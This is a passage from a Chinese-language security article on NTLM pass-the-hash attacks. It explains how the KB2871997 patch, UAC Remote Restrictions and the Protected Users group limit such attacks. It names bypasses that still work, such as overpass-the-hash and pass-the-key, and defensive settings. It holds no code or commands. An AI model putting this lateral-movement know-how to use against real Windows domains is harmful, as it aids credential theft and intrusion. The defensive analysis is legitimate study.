禁用域的NTLM认证后,尝试利用PTH攻击,会提示请求不支持。
虽然但是,攻击者还是可以通过ekey进行攻击,或者是使用hash传递进行kerberos认证的。
或者是over pass the hash攻击,即使用ntlm hash来进行kerberos认证.
还有其他方法,比如前文所述的,域功能级别为2012R2域控的可以将域用户添加到受保护的用户组、域策略中下发禁用成员机里的内置管理员等方法。
内容总结
结论就是:
Windows Visita之后的系统,在打不打KB2871997补丁的情况下,域内用户都不受UAC Remote Restrictions限制,但本地计算机管理员用户受此限制(除了SID为500的Administrator不受限制)。说人话就是,工作组本地计算机管理员不能PTH,除了SID为500的默认管理员用户。
所以KB2871997并没有对工作组本地计算机用户的哈希传递直接进行限制,而是UAC Remote Restrictions限制所造成的。当运维人员错误配置UAC策略(关闭UAC、关闭UAC Remote Restrictions限制)后,即使打了补丁(打不打都一样),SID不为500的计算机管理员用户也能进行PTH攻击。如果需要限制SID为500的默认管理员用户,可以通过禁用内置管理员帐户、拒绝内置管理员网络登录、将内置管理员降权等方法(也许还有其他的方法)来实现限制 。
故网络上部分文章所描述的,”更新KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但Administrator账号(SID为500)例外”说法错误。
但是KB2871997添加了用户注销后清除内存密码的功能,即用户注销后,系统不再在内存中保存明文密码,使得攻击者在抓取内存密码的情况下变得困难。如果目标用户加入了受保护的用户组,则相当于直接禁用了NTLM认证,这才能说把Pass The Hash给砍了。但是在这种情况下,我们还是可以想办法获取AESKey后,利用AESkey进行Pass The Key传递(即OverPass The Hash)。如果没有将用户加入受保护的用户组的话,那该补丁的作用只是清除明文凭据罢了。Pass The Hash攻击依然不受影响。
0x06 总结
本文简单介绍了NTLM认证的流程、NTLM Hash值,PassTheHash攻击方式以及防御方式。